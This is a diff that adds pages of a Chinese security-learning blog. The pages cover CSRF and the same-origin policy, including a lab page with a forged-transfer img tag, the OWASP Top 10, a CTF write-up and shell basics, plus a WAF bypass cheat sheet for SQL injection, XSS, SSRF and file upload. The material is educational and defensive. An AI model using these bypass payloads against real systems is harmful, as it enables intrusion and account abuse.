      • 敏感端口暴露
      • +
      • 路径
          +
        • 目录遍历
        • +
        • CRLF漏洞
        • +
        • 列目录
        • +
        • 敏感文件、目录访问
        • +
        +
      • +
      • Header
          +
        • CORS绕过
        • +
        • CSRF
        • +
        • Referer绕过
        • +
        +
      • +
      • 参数
          +
        • SQL注入
        • +
        • 命令执行
        • +
        • SSRF
        • +
        • 任意文件上传
        • +
        • 文件包含
        • +
        • XXE
        • +
        • 任意网址跳转
        • +
        • JSONP劫持
        • +
        +
      • +
      +
    • +
    • 接口鉴权
        +
      • 未鉴权
      • +
      • 越权
      • +
      +
    • +
    • 接口频控
        +
      • 短袖邮件暴力发送
      • +
      • 关键接口
      • +
      • 发帖、评论
      • +
      • 反爬虫
      • +
      +
    • +
    • 接口返回
        +
      • Header设置缺失
      • +
      • 敏感信息返回
      • +
      • 返回系统架构、网站路径等基础信息
      • +
      +
    • +
    +
  4. +
  5. 安全建设

    +
      +
    • 被动安全
        +
      • WAF
      • +
      • IDS,IPS
      • +
      • 应急响应
      • +
      • 风控
      • +
      • 蜜罐
      • +
      +
    • +
    • 主动安全
        +
      • 安全基线
      • +
      • SDLC
      • +
      • DAST,IAST
      • +
      • SAST
      • +
      +
    • +
    +
  6. +
  7. 学习路线

    +
      +
    • 自己搭建博客
        +
      • 安全知识
      • +
      • Web知识
      • +
      +
    • +
    • 安全能力提升
        +
      • 知识学习
      • +
      • 靶场练习
      • +
      • 实战练习
      • +
      +
    • +
    • 开发安全工具
    • +
    • 参与实习
    • +
    +
  8. +
+
文章作者: h4m5t
文章链接: http://h4m5t.github.io/2021/01/26/Web%E5%AE%89%E5%85%A8/
版权声明: 本博客所有文章除特别声明外,均采用 CC BY-NC-SA 4.0 许可协议。转载请注明来自 h4m5t's Blog
avatar
h4m5t
人生得意需尽欢
Follow Me
公告
Welcome!
安全技术交流群753267126
网安考研交流群244768497
最新文章
HTB_Help
HTB_Bizness
HTB_MetaTwo
\ No newline at end of file diff --git "a/2021/01/27/\345\220\214\346\272\220\347\255\226\347\225\245/index.html" "b/2021/01/27/\345\220\214\346\272\220\347\255\226\347\225\245/index.html" new file mode 100644 index 000000000..5ee463fbe --- /dev/null +++ "b/2021/01/27/\345\220\214\346\272\220\347\255\226\347\225\245/index.html" @@ -0,0 +1,300 @@ +浏览器的同源策略与跨站请求伪造(CSRF) | h4m5t's Blog + + + + + + + + + + + + + + +

浏览器的同源策略与跨站请求伪造(CSRF)

定义

同源策略是指在Web浏览器中,允许某个网页脚本访问另一个网页的数据,但前提是这两个网页必须同源。此策略可防止某个网页上的恶意脚本通过该页面的文档对象模型访问另一网页上的敏感数据。

+

同源的判断如下:

+
    +
  • 协议相同
  • +
  • 域名相同
  • +
  • 端口相同
  • +
+

应用

同源策略对Web应用程序具有特殊意义,因为Web应用程序广泛依赖于cookie来维持用户会话,所以必须将不相关网站严格分隔,以防止丢失数据泄露。

+

同源比较

下表列出哪些URL与http://www.example.com/dir/page.html 属于相同来源

+ + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + +
http://en.example.com/dir/other.html不同域名
http://example.com/dir/other.html不同域名(需要完全匹配)
**http://**username:password@www.example.com/dir2/other.html只有路径不同
http://v2.www.example.com/dir/other.html不同域名(需要完全匹配)
http://www.example.com:**81**/dir/other.html不同端口(若未标明,http:// 默认端口号为80)
http://www.example.com/dir/page2.html只有路径不同
http://www.example.com/dir2/other.html只有路径不同
https://www.example.com/dir/other.html不同协议(httpshttp
+

其他

    +
  • 源的继承:在页面中通过 about:blankjavascript: URL 执行的脚本会继承打开该 URL 的文档的源,因为这些类型的 URLs 没有包含源服务器的相关信息。
  • +
  • 跨源访问:可以使用 CORS 来允许跨源访问。CORS 是 HTTP 的一部分,它允许服务端来指定哪些主机可以从这个服务端加载资源。
  • +
  • 源的更改:满足某些限制条件的情况下,页面是可以修改它的源。脚本可以将 document.domain 的值设置为其当前域或其当前域的父域。如果将其设置为其当前域的父域,则这个较短的父域将用于后续源检查。
  • +
+

缺陷

同源策略仅适用于脚本,这意味着某网站可以通过相应的HTML标签访问不同来源网站上的图像、CSS和动态加载脚本等资源。而跨站请求伪造(CSRF)就是利用同源策略不适用于HTML标签的缺陷。

+

CSRF(跨站请求伪造)

    +
  • 定义:挟制用户在当前已登录的Web应用程序上执行非本意的操作的攻击方法。
  • +
  • 与XSS的比较:XSS利用的是用户对指定网站的信任,CSRF 利用的是网站对用户网页浏览器的信任。
  • +
  • 攻击方法:攻击者通过一些技术手段欺骗用户的浏览器去访问一个自己曾经认证过的网站并运行一些操作(如发邮件,发消息,甚至财产操作如转账和购买商品)。由于浏览器曾经认证过,所以被访问的网站会认为是真正的用户操作而去运行。这利用了web中用户身份验证的一个漏洞:简单的身份验证只能保证请求发自某个用户的浏览器,却不能保证请求本身是用户自愿发出的。
  • +
  • 特点:攻击者并不能通过CSRF攻击来直接获取用户的账户控制权,也不能直接窃取用户的任何信息。他们能做到的,是欺骗用户的浏览器,让其以用户的名义运行操作。
  • +
+

攻击实践

此处以必火靶场的CSRF-GET型攻击进行实践。

+

靶场地址

+image-20210128110300151 + +

正常转账操作:http://www.nanhack.com/payload/xss/csrf1.php?name=admin&money=10

+

恶意攻击者页面:http://www.nanhack.com/payload/xss/csrf1.php

+

访问恶意攻击者页面产生CSRF请求: http://www.nanhack.com/payload/xss/csrf1.php?name=zsm&money=1000

+image-20210128111355278 + +

打开恶意攻击页面,发现是一个图片,提示:你的账户 钱少了。

+

返回查看,果然,账户少了1000元。

+
1
2
3
4
5
6
7
8
9
10
11
12
13
14
<!DOCTYPE html>
<html>
<head>
<meta charset="utf-8">
<title>你的账户钱少了吧</title>
<!-- <script>alert('你的账户钱少了吧!!😳');</script> -->
</head>
<body>
<img src="http://xss.tv/meinv/tila.jpg" width="30%">
<img src="http://www.nanhack.com/payload/xss/csrf1.php?name=zsm&money=1000">
<!-- <a href="http://www.nanhack.com/user.php">返回用户管理</a> -->

</body>
</html>
+ +

<img src>中的链接就是构造了一个“转账”链接。

+

但是这种恶意链接构造的CSRF隐蔽性很低,很容易被发现。

+

可以利用一些更加隐藏的方式:

+
    +
  • CSS中background属性里的url链接
  • +
  • 利用a标签
  • +
  • 设置iframe的style为display:none
  • +
+

防御措施

    +
  • 令牌同步

    +

    令牌同步模式(英语:Synchronizer token pattern,简称STP)。原理是:当用户发送请求时,服务器端应用将令牌(token,一个保密且唯一的值)嵌入HTML表格,并发送给客户端。客户端提交HTML表格时候,会将令牌发送到服务端,令牌的验证是由服务端实行的。令牌可以通过任何方式生成,只要确保随机性和唯一性。这样确保攻击者发送请求时候,由于没有该令牌而无法通过验证。

    +

    局限性:会导致服务端的复杂度升高,复杂度源于令牌的生成和验证。因为令牌是唯一且随机,如果每个表格都使用一个唯一的令牌,那么当页面过多时,服务器由于生产令牌而导致的负担也会增加。而使用会话(session)等级的令牌代替的话,服务器的负担将没有那么重。

    +
  • +
  • 检查Referer字段

    +

    HTTP头中有一个Referer字段,这个字段用以标明请求来源于哪个地址。在处理敏感数据请求时,通常来说,Referer字段应和请求的地址位于同一域名下。而如果是CSRF攻击传来的请求,Referer字段会是包含恶意网址的地址,这时候服务器就能识别出恶意的访问。

    +

    局限性:因其完全依赖浏览器发送正确的Referer字段。虽然http协议对此字段的内容有明确的规定,但并无法保证来访的浏览器的具体实现,亦无法保证浏览器没有安全漏洞影响到此字段。并且也存在攻击者攻击某些浏览器,篡改其Referer字段的可能。

    +
  • +
  • 添加校验token

    +

    由于CSRF的本质在于攻击者欺骗用户去访问自己设置的地址,所以如果要求在访问敏感数据请求时,要求用户浏览器提供不保存在cookie中,并且攻击者无法伪造的数据作为校验,那么攻击者就无法再运行CSRF攻击。这种数据通常是窗体中的一个数据项。服务器将其生成并附加在窗体中,其内容是一个伪随机数。当客户端通过窗体提交请求时,这个伪随机数也一并提交上去以供校验。正常的访问时,客户端浏览器能够正确得到并传回这个伪随机数,而通过CSRF传来的欺骗性攻击中,攻击者无从事先得知这个伪随机数的值,服务端就会因为校验token的值为空或者错误,拒绝这个可疑请求。

    +
  • +
+

参考文献

    +
  1. IETF [rfc:6265 HTTP State Management Mechanism, Apr, 2011]
  2. +
  3. Kemp, John. Security on the Web. 2011-02-04 [2018-07-24].
  4. +
  5. Ristic, Ivan. Apache Security. O’Reilly Media. 2005: 280. ISBN 0-596-00724-8.
  6. +
  7. 阮一峰的网络日志
  8. +
  9. MDN Web Docs
  10. +
+
文章作者: h4m5t
文章链接: http://h4m5t.github.io/2021/01/27/%E5%90%8C%E6%BA%90%E7%AD%96%E7%95%A5/
版权声明: 本博客所有文章除特别声明外,均采用 CC BY-NC-SA 4.0 许可协议。转载请注明来自 h4m5t's Blog
avatar
h4m5t
人生得意需尽欢
Follow Me
公告
Welcome!
安全技术交流群753267126
网安考研交流群244768497
\ No newline at end of file diff --git a/2021/02/05/OWASP/index.html b/2021/02/05/OWASP/index.html new file mode 100644 index 000000000..57f3564e2 --- /dev/null +++ b/2021/02/05/OWASP/index.html @@ -0,0 +1,222 @@ +OWASP TOP10 | h4m5t's Blog + + + + + + + + + + + + + + +

OWASP TOP10

+

The OWASP Top 10 is a standard awareness document for developers and web application security. It represents a broad consensus about the most critical security risks to web applications.

+
+
    +
  1. 注入
  2. +
  3. 失效的身份验证
  4. +
  5. 敏感信息泄露
  6. +
  7. XML外部实体(XXE)
  8. +
  9. 失效的访问控制
  10. +
  11. 安全配置错误
  12. +
  13. 跨站脚本(XSS)
  14. +
  15. 不安全的反序列化
  16. +
  17. 使用含有已知漏洞的组件
  18. +
  19. 不足的日志记录和监控
  20. +
+
+
    +
  1. Injection. Injection flaws, such as SQL, NoSQL, OS, and LDAP injection, occur when untrusted data is sent to an interpreter as part of a command or query. The attacker’s hostile data can trick the interpreter into executing unintended commands or accessing data without proper authorization.
  2. +
  3. Broken Authentication. Application functions related to authentication and session management are often implemented incorrectly, allowing attackers to compromise passwords, keys, or session tokens, or to exploit other implementation flaws to assume other users’ identities temporarily or permanently.
  4. +
  5. Sensitive Data Exposure. Many web applications and APIs do not properly protect sensitive data, such as financial, healthcare, and PII. Attackers may steal or modify such weakly protected data to conduct credit card fraud, identity theft, or other crimes. Sensitive data may be compromised without extra protection, such as encryption at rest or in transit, and requires special precautions when exchanged with the browser.
  6. +
  7. XML External Entities (XXE). Many older or poorly configured XML processors evaluate external entity references within XML documents. External entities can be used to disclose internal files using the file URI handler, internal file shares, internal port scanning, remote code execution, and denial of service attacks.
  8. +
  9. Broken Access Control. Restrictions on what authenticated users are allowed to do are often not properly enforced. Attackers can exploit these flaws to access unauthorized functionality and/or data, such as access other users’ accounts, view sensitive files, modify other users’ data, change access rights, etc.
  10. +
  11. Security Misconfiguration. Security misconfiguration is the most commonly seen issue. This is commonly a result of insecure default configurations, incomplete or ad hoc configurations, open cloud storage, misconfigured HTTP headers, and verbose error messages containing sensitive information. Not only must all operating systems, frameworks, libraries, and applications be securely configured, but they must be patched/upgraded in a timely fashion.
  12. +
  13. Cross-Site Scripting (XSS). XSS flaws occur whenever an application includes untrusted data in a new web page without proper validation or escaping, or updates an existing web page with user-supplied data using a browser API that can create HTML or JavaScript. XSS allows attackers to execute scripts in the victim’s browser which can hijack user sessions, deface web sites, or redirect the user to malicious sites.
  14. +
  15. Insecure Deserialization. Insecure deserialization often leads to remote code execution. Even if deserialization flaws do not result in remote code execution, they can be used to perform attacks, including replay attacks, injection attacks, and privilege escalation attacks.
  16. +
  17. Using Components with Known Vulnerabilities. Components, such as libraries, frameworks, and other software modules, run with the same privileges as the application. If a vulnerable component is exploited, such an attack can facilitate serious data loss or server takeover. Applications and APIs using components with known vulnerabilities may undermine application defenses and enable various attacks and impacts.
  18. +
  19. Insufficient Logging & Monitoring. Insufficient logging and monitoring, coupled with missing or ineffective integration with incident response, allows attackers to further attack systems, maintain persistence, pivot to more systems, and tamper, extract, or destroy data. Most breach studies show time to detect a breach is over 200 days, typically detected by external parties rather than internal processes or monitoring.
  20. +
+
文章作者: h4m5t
文章链接: http://h4m5t.github.io/2021/02/05/OWASP/
版权声明: 本博客所有文章除特别声明外,均采用 CC BY-NC-SA 4.0 许可协议。转载请注明来自 h4m5t's Blog
avatar
h4m5t
人生得意需尽欢
Follow Me
公告
Welcome!
安全技术交流群753267126
网安考研交流群244768497
最新文章
HTB_Help
HTB_Bizness
HTB_MetaTwo
\ No newline at end of file diff --git "a/2021/02/06/\345\211\215\347\253\257CSS/index.html" "b/2021/02/06/\345\211\215\347\253\257CSS/index.html" new file mode 100644 index 000000000..50b39da27 --- /dev/null +++ "b/2021/02/06/\345\211\215\347\253\257CSS/index.html" @@ -0,0 +1,194 @@ +记录前端学习--CSS | h4m5t's Blog + + + + + + + + + + + + + + +

记录前端学习--CSS

文章作者: h4m5t
文章链接: http://h4m5t.github.io/2021/02/06/%E5%89%8D%E7%AB%AFCSS/
版权声明: 本博客所有文章除特别声明外,均采用 CC BY-NC-SA 4.0 许可协议。转载请注明来自 h4m5t's Blog
avatar
h4m5t
人生得意需尽欢
Follow Me
公告
Welcome!
安全技术交流群753267126
网安考研交流群244768497
最新文章
HTB_Help
HTB_Bizness
HTB_MetaTwo
\ No newline at end of file diff --git a/2021/02/07/icqCTF/index.html b/2021/02/07/icqCTF/index.html new file mode 100644 index 000000000..c3b5e4dc3 --- /dev/null +++ b/2021/02/07/icqCTF/index.html @@ -0,0 +1,214 @@ +春秋杯新年欢乐赛 | h4m5t's Blog + + + + + + + + + + + + + +

春秋杯新年欢乐赛

+

寒假参加了i春秋的CTF ,总结一下。

+
+

签到

手机打出”FUN”,扫描即可。

+

十二宫的挑衅

test + +

关于十二宫杀手:

+

链接一

+

链接二

+

根据新闻内容,先对明文进行向下右移两位,形成新的矩阵,再用这款解密工具即可。

+

据说要使用一款叫azdecrypt的工具https://m.majorgeeks.com/files/details/azdecrypt.html

+

snowwwww

1.使用kali自带的工具分离图片

+

2.傅里叶变化解密图片水印

+
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
%% extract watermark
FA2=fft2(FAO);
G=(FA2-FA)/alpha;
GG=G;
for i=1:imsize(1)*0.5
for j=1:imsize(2)
GG(M(i),N(j),:)=G(i,j,:);
end
end
for i=1:imsize(1)*0.5
for j=1:imsize(2)
GG(imsize(1)+1-i,imsize(2)+1-j,:)=GG(i,j,:);
end
end
figure,imshow(GG);title('extracted watermark');
%imwrite(uint8(GG),'extracted watermark.jpg');
+ +untitled + +

3.对图片进行PS

+image-20210313231112239 + +

COV-2019

此题比较复杂,要用到很多加密工具。注意的是,有个base32编码。

+
文章作者: h4m5t
文章链接: http://h4m5t.github.io/2021/02/07/icqCTF/
版权声明: 本博客所有文章除特别声明外,均采用 CC BY-NC-SA 4.0 许可协议。转载请注明来自 h4m5t's Blog
avatar
h4m5t
人生得意需尽欢
Follow Me
公告
Welcome!
安全技术交流群753267126
网安考研交流群244768497
\ No newline at end of file diff --git a/2021/02/08/Shell/index.html b/2021/02/08/Shell/index.html new file mode 100644 index 000000000..1e2e3a5d0 --- /dev/null +++ b/2021/02/08/Shell/index.html @@ -0,0 +1,215 @@ +Shell学习记录 | h4m5t's Blog + + + + + + + + + + + + + +

Shell学习记录

shell:shell是外壳的意思,就是操作系统的外壳。我们可以通过shell命令来操作和控制操作系统,比如Linux中的Shell命令就包括ls、cd、pwd等等。总结来说,Shell是一个命令解释器,它通过接受用户输入的Shell命令来启动、暂停、停止程序的运行或对计算机进行控制。

+

shell 是一个应用程序,它连接了用户和 Linux 内核,让用户能够更加高效、安全、低成本地使用 Linux 内核,这就是 Shell 的本质。

+

shell 本身并不是内核的一部分,它只是站在内核的基础上编写的一个应用程序。

+“linux shell”的图片搜索结果 + +

shell脚本:shell脚本就是由Shell命令组成的执行文件,将一些命令整合到一个文件中,进行处理业务逻辑,脚本不用编译即可运行。

+

进入 Linux 终端,编写一个 Shell 脚本 hello.sh :

+
1
2
#!/bin/bash 
echo 'hello world!'
+ + +

运行:

+
1
2
3
4
5
6
# 方法1 
sh hello.sh

# 方法2
chmod +x hello.sh
./hello.sh
+ + +

终端打印出 hello world!
说明:

+
    +
  • #! 告诉系统这个脚本需要什么解释器来执行。
  • +
  • 文件扩展名 .sh 不是强制要求的。
  • +
  • 方法1 直接运行解释器,hello.sh 作为 Shell 解释器的参数。此时 Shell 脚本就不需要指定解释器信息,第一行可以去掉。
  • +
  • 方法2 hello.sh 作为可执行程序运行,Shell 脚本第一行一定要指定解释器。
  • +
+

输出从1加到100的值。

+
1
2
3
4
5
6
7
8
9
10
#!/bin/bash
SUM=0
i=0

while [ $i -le $1 ]
do
SUM=$[$SUM+$i]
i=$[$i+1]
done
echo $SUM
文章作者: h4m5t
文章链接: http://h4m5t.github.io/2021/02/08/Shell/
版权声明: 本博客所有文章除特别声明外,均采用 CC BY-NC-SA 4.0 许可协议。转载请注明来自 h4m5t's Blog
avatar
h4m5t
人生得意需尽欢
Follow Me
公告
Welcome!
安全技术交流群753267126
网安考研交流群244768497
最新文章
HTB_Help
HTB_Bizness
HTB_MetaTwo
\ No newline at end of file diff --git "a/2021/02/09/\345\211\215\347\253\257JS/index.html" "b/2021/02/09/\345\211\215\347\253\257JS/index.html" new file mode 100644 index 000000000..8df9ef592 --- /dev/null +++ "b/2021/02/09/\345\211\215\347\253\257JS/index.html" @@ -0,0 +1,194 @@ +记录前端学习--JavaScript | h4m5t's Blog + + + + + + + + + + + + + + +

记录前端学习--JavaScript

文章作者: h4m5t
文章链接: http://h4m5t.github.io/2021/02/09/%E5%89%8D%E7%AB%AFJS/
版权声明: 本博客所有文章除特别声明外,均采用 CC BY-NC-SA 4.0 许可协议。转载请注明来自 h4m5t's Blog
avatar
h4m5t
人生得意需尽欢
Follow Me
公告
Welcome!
安全技术交流群753267126
网安考研交流群244768497
最新文章
HTB_Help
HTB_Bizness
HTB_MetaTwo
\ No newline at end of file diff --git a/2021/02/10/WAF/index.html b/2021/02/10/WAF/index.html new file mode 100644 index 000000000..4908b247b --- /dev/null +++ b/2021/02/10/WAF/index.html @@ -0,0 +1,430 @@ +WAF bypass技巧 | h4m5t's Blog + + + + + + + + + + + + + +

WAF bypass技巧

+

WAF : Web应用防护系统(也称为:网站应用级入侵防御系统。英文:Web Application Firewall,简称: WAF)。利用国际上公认的一种说法:Web应用防火墙是通过执行一系列针对HTTP/HTTPS的安全策略来专门为Web应用提供保护的一款产品。

+
+

1.1 寻找真实IP

+e7d9f2da-0fac-432b-bf65-bc3b66afa3d3 + +
    +
  • 域名历史解析记录
  • +
  • 内部邮箱源
  • +
  • 扫描网站测试文件
  • +
  • 子域名所在IP段
  • +
  • 信息泄露
  • +
  • 国外访问
  • +
  • APP抓包
  • +
+

1.2 注入绕过

+ + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + +
绕过方式例子说明
大小写绕过UniOn SeleCt针对特定关键字,大小写不敏感,SQL语句不分大小写
双写绕过Ununionion seselectlect过滤后仍是注入语句(只过滤了一次)
内联注释绕过and /****!***select * from test*/mysql扩展功能,在/*后加惊叹号,注释中的语句会被执行
注释符绕过uni/*/on se/*/lect注释符号不影响语句的连接
对or/and的绕过and = &&,or = ||等价逻辑符号
对单引号的绕过十六进制编码 宽字节注入 http://www.xxx.com/login.php?user=%df****’ or 1=1  %df****’转义后为=%df%5c%27=運’  select * fromcms_user where username = ‘運’ or 1=1数值型可以不加单引号 将转义符号闭合掉 mysql使用GBK多字节编码,GPC开启(php.ini,magic_quotes_gpc = On),输入%df%27时首先经过上面提到的转义就会变成%df%5c%27(%5c就是反斜杠)。之后再数据库查询由于使用了GBK多字节编码,即在汉字编码范围内两个字节会被编码为一个汉字,然后MySQL服务器会对查询语句进行了GBK编码%df%5c转换成汉字,而单引号逃出了
等价函数替换hex() bin() 等价于ascii() Sleep() 等价于benchmark()函数结果相同
空格绕过select/*/*/*/from/**/yz; select%0a*%0afrom%0ayz; %0a 是回车 select(a)from(yz);使用其他字符替换空格
+

1.3 XSS绕过

+

反射型:

+1 + +

存储型:

+3 + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + +
绕过方式例子说明
标签闭合,可控为aaa的值,那么可以使用 “> 闭合来绕过,利用”> 等标签来闭合前面标签来达到绕过插入任意JS的效果
标签优先性利用标签解析的优先性绕过。 比如会优先闭合,导致标签逃逸,从而造成xss执行
常见编码a aa> <svg/onload=setTimeout(‘\x61\x6C\x65\x72\x74\x28\x31\x29’)>利用常见的一些编码方式去绕过。比如利用 : 当成 冒号: 来绕过,( 和 ) 等效与左右括号 () 可控点在Json中时可使用Unicode编码绕过,在url中可用使用url双重编码等绕过 %0a 为换行的URL编码,可以用来绕过一些Waf,从而执行后面的alert,类似于 Mysql中的%0a换行 利用各种类型的进制转换也可以用来绕过xss防御
浏览器差异Test 比如 .url 后缀文件也可用造成xss 比如利用IE浏览器中也有一些特性或者函数 比如标签在Firfox浏览器可以解析并造成XSS漏洞,可以用来绕过黑名单等 .url 后缀文件在Firfox浏览器中也会解析成htm文件,也会造成xss 比如利用IE浏览器中一些独特函数来执行xss
关键字、函数绕过 利用JS的特性,以拼接的方式来组合关键字,从而绕过waf的关键字检测 加入一些特殊字符也可以绕过waf对关键函数的检测
FuzzJSFuck可以利用Fuzz来发现一些黑名单中未包含到的标签、事件、关键函数
+

1.4 SSRF绕过

+ + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + +
绕过方式例子原理
进制转换十进制 http://2130706433/ = http://127.0.0.1 http://3232235521/ = http://192.168.0.1 http://3232235777/ = http://192.168.1.1 http://2852039166/ = http://169.254.169.254 十六进制 http://0x7f000001/ = http://127.0.0.1 http://0xc0a80014/ = http://192.168.0.20利用十进制、十六进制形式的ip绕过检测,十进制、十六进制的ip在请求时会正常解析,但检测时可能遗漏
特殊ip形式http://[::]:80/=127.0.0.1 http://127.127.127.127 127.0.0.1.xip.io 127。0。0。1 = 127.0.0.1 http://ⓔⓧⓐⓜⓟⓛⓔ.ⓒⓞⓜ = example.com http://[0:0:0:0:0:ffff:127.0.0.1]利用 [::]、CIDR (ip划分方法)绕过localhost限制 利用封闭式字母数字绕过检测 利用ipv6绕过检测
正则缺陷http://127.1.1.1:80****\@127.2.2.2:80/ http://127.1.1.1:80:@@127.2.2.2:80/ **http://127.1.1.1:80#****\@127.2.2.2:80/** http://endswith{domain}/ **http://{domain}.**localhost利用检测正则表达式缺陷绕过,如仅检测字符串是否包含白名单域名或以白名单域名结尾,或者正则未转义点号导致绕过等
解析库与请求库差异导致绕过http://1.1.1.1 &@2.2.2.2# @3.3.3.3/ urllib2 : 1.1.1.1 requests + browsers : 2.2.2.2 urllib : 3.3.3.3利用检测时使用的URL parse库与请求时使用的parse库的差异绕过,如 http://1.1.1.1 &@2.2.2.2# @3.3.3.3/ 不同的parse库的解析结果不一样
302跳转绕过Create a page on a whitelisted host that redirects requests to the SSRF the target URL利用可信域名的302跳转绕过检测
dnsrebind绕过Create a domain that change between two IPs设置两条A记录利用dns重绑定绕过检测,第一次解析返回正常ip,第二次返回内网地址(dns解析记录缓存存活的时间为0,相当于每次解析都要去重新请求dns服务器,无法在本地缓存)
+

1.5 上传绕过

+

f31e7508-93be-4fcf-a9aa-7f0316e5c1f8

+ + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + +
绕过方法例子原理
js检查绕过前端通过抓包提交,绕过前端js检测 删除对js验证脚本的调用,使其不能对上传的文件类型做检测,从而达到绕过
上传特殊可解析后缀jsp jspx jspf asp asa cer aspx php php3 php4 pht phtml绕过黑名单,同样可以执行脚本
上传.htaccess<FilesMatch “bytedance”> SetHandler application/x-httpd-php htaccess文件是Apache服务器中的一个配置文件,它负责相关目录下的网页配置.通过htaccess文件,可以实现:网页301重定向、自定义404页面、改变文件扩展名、允许/阻止特定的用户或者目录的访问、禁止目录列表、配置默认文档等功能。 通过.htaccess文件,调用php的解析器解析一个文件名只要包含“bytedance”这个字符串的任意文件
后缀大小写绕过1.php ==> 1.pHP由于windows不区分大小写,后端校验未使用strtolower等函数将文件后缀大小写统一处理,导致黑名单不完整而绕过
空格绕过1.php ==> 1.php(空格)由于Windows处理文件时,会自动删除文件后缀带有的空格和点,从而导致绕过
::DATA绕过1.php::$DATA==>1.phpWindows的一种流文件格式,上传这种格式流文件格式的同时会在相同目录下生成一个含有相同内容宿主文件
双写后缀绕过1.phphpp ==> 1.php后端过滤时,使用了preg_replace等替换函数将php关键字替换为空,但是却没有循环替换,导致前面的ph和后面的p重新组合成php,从而导致绕过
MIME绕过GIF image/gif JPG image/pjpeg image/jpeg ZIP application/x-compressed application/octet-stream JSP text/html EXE application/octet-stream修改Content-Type中为允许的类型
%00截断1.php%00a.jpg=1.phpPHP<5.3.29,且GPC关闭时,%00在URL中充当结束符,当解析到%00时,解析器就会认为字符串已经读取完毕(%00截断主要用在路径上的截断)
0x00截断1.php.jpg==>1.php0x00jpg(0x00为16进制)PHP<5.3.29,且GPC关闭时,0x00截断其实也是16进制截断,需要修改16进制的数据头,0x00也是截断符号,0x00就是%00解码成的16进制,原理其实与%00截断一样
文件头检查绕过GIF89a或在图片中插入一句话检查指定文件头时可绕过
二次渲染绕过寻找图片渲染后没有变化的部分,插入一句话恶意脚本不被渲染掉
条件竞争与后端代码写法有关。比如先上传文件后,再检查文件后缀是否合法,不合法就再删除。利用条件竞争删除文件时间差绕过。在文件上传到服务器,程序还未执行到删除文件代码之前,通过快速发送大量的数据包提前执行程序,达到绕过
解析漏洞绕过参考解析漏洞表格参考解析漏洞表格
+

1.6 其他方法

+

1.HTTP和HTTPS同时开放服务,没有做HTTP到HTTPS的强制跳转,导致HTTPS有WAF防护,HTTP没有防护,直接访问HTTP站点绕过防护。

+

2.当提交GET、POST同时请求时,进入POST逻辑,而忽略了GET请求的有害参数输入,可轻易Bypass。

+
文章作者: h4m5t
文章链接: http://h4m5t.github.io/2021/02/10/WAF/
版权声明: 本博客所有文章除特别声明外,均采用 CC BY-NC-SA 4.0 许可协议。转载请注明来自 h4m5t's Blog
avatar
h4m5t
人生得意需尽欢
Follow Me
公告
Welcome!
安全技术交流群753267126
网安考研交流群244768497
最新文章
HTB_Help
HTB_Bizness
HTB_MetaTwo
\ No newline at end of file diff --git "a/2021/02/15/\347\272\242\351\230\237/index.html" "b/2021/02/15/\347\272\242\351\230\237/index.html" new file mode 100644 index 000000000..902e827c8 --- /dev/null +++ "b/2021/02/15/\347\272\242\351\230\237/index.html" @@ -0,0 +1,225 @@ +红队和渗透测试 | h4m5t's Blog + + + + + + + + + + + + + + +

红队和渗透测试

+

一直会听说红队蓝队,却不知道真的概念,今天好好了解一下。

+
+

先有攻,后有防

永远记得,安全是先有攻后有防,这个世界上先有黑帽子,然后才有人给白帽子发工资。所以可以毫不客气的说,黑帽子是网安界的基石(注意:这不是在鼓励你去做黑帽子)。黑帽子是先驱,白帽子是追随者。

+

所以你需要做的,是代入黑帽子的思维:这个世界上什么资产最多?web应用?手机app?端应用?(再细化一些:struct2?wordpress?rdp?smb?bt? etc.),这些资产的漏洞的发现/利用难度和利用后的获利相比,哪个性价比最高?毫无疑问,性价比高的领域,就是黑帽子最集中的领域,也就是白帽子们投入最大精力的领域(因为雇主们最舍得在这上面掏钱),你应该研究这个,而不是走到一些很生僻,很小众的细分领域,否则未来有失业风险,毕竟即使是小众领域,以一个人的精力也是学不完的,所以别想着什么双修,什么全领域制霸。

+

红队

红队(Red Team)即安全团队最大化模拟真实世界里面的入侵事件,采用入侵者的战术、技术、流程,以此来检验蓝队(Blue Team)的威胁检测和应急响应的机制和效率,最终帮助企业真正提高整个安全建设、安全运营、安全管理等能力。

+

红队和渗透测试的区别:

+ + + + + + + + + + + + + + + + + + + + + + + +
渗透红队
测试范围范围有限范围广,有组织计划
攻击程度点到为止真实猛烈
目的寻找目标系统不足寻找系统不足,管理不足,提高企业安全建设能力
+
文章作者: h4m5t
文章链接: http://h4m5t.github.io/2021/02/15/%E7%BA%A2%E9%98%9F/
版权声明: 本博客所有文章除特别声明外,均采用 CC BY-NC-SA 4.0 许可协议。转载请注明来自 h4m5t's Blog
avatar
h4m5t
人生得意需尽欢
Follow Me
公告
Welcome!
安全技术交流群753267126
网安考研交流群244768497
\ No newline at end of file diff --git a/2021/02/16/Docker/index.html b/2021/02/16/Docker/index.html new file mode 100644 index 000000000..75a32cd15 --- /dev/null +++ b/2021/02/16/Docker/index.html @@ -0,0 +1,193 @@ +Docker入门 | h4m5t's Blog + + + + + + + + + + + + + +

Docker入门

文章作者: h4m5t
文章链接: http://h4m5t.github.io/2021/02/16/Docker/
版权声明: 本博客所有文章除特别声明外,均采用 CC BY-NC-SA 4.0 许可协议。转载请注明来自 h4m5t's Blog
avatar
h4m5t
人生得意需尽欢
Follow Me
公告
Welcome!
安全技术交流群753267126
网安考研交流群244768497
最新文章
HTB_Help
HTB_Bizness
HTB_MetaTwo
\ No newline at end of file diff --git "a/2021/02/19/\347\275\221\347\253\231\350\257\206\345\210\253/index.html" "b/2021/02/19/\347\275\221\347\253\231\350\257\206\345\210\253/index.html" new file mode 100644 index 000000000..d211447aa --- /dev/null +++ "b/2021/02/19/\347\275\221\347\253\231\350\257\206\345\210\253/index.html" @@ -0,0 +1,198 @@ +网站技术栈识别工具-wappalyzer | h4m5t's Blog + + + + + + + + + + + + + +

网站技术栈识别工具-wappalyzer

wappalyzer是一款优秀的网站技术栈识别工具,在谷歌商店的使用人数已经有上百万人。

+

image-20210221103607443

+

点击扩展程序图标,就可以自动识别。

+

结果如下:

+

Snipaste_2021-02-21_10-23-30

+
文章作者: h4m5t
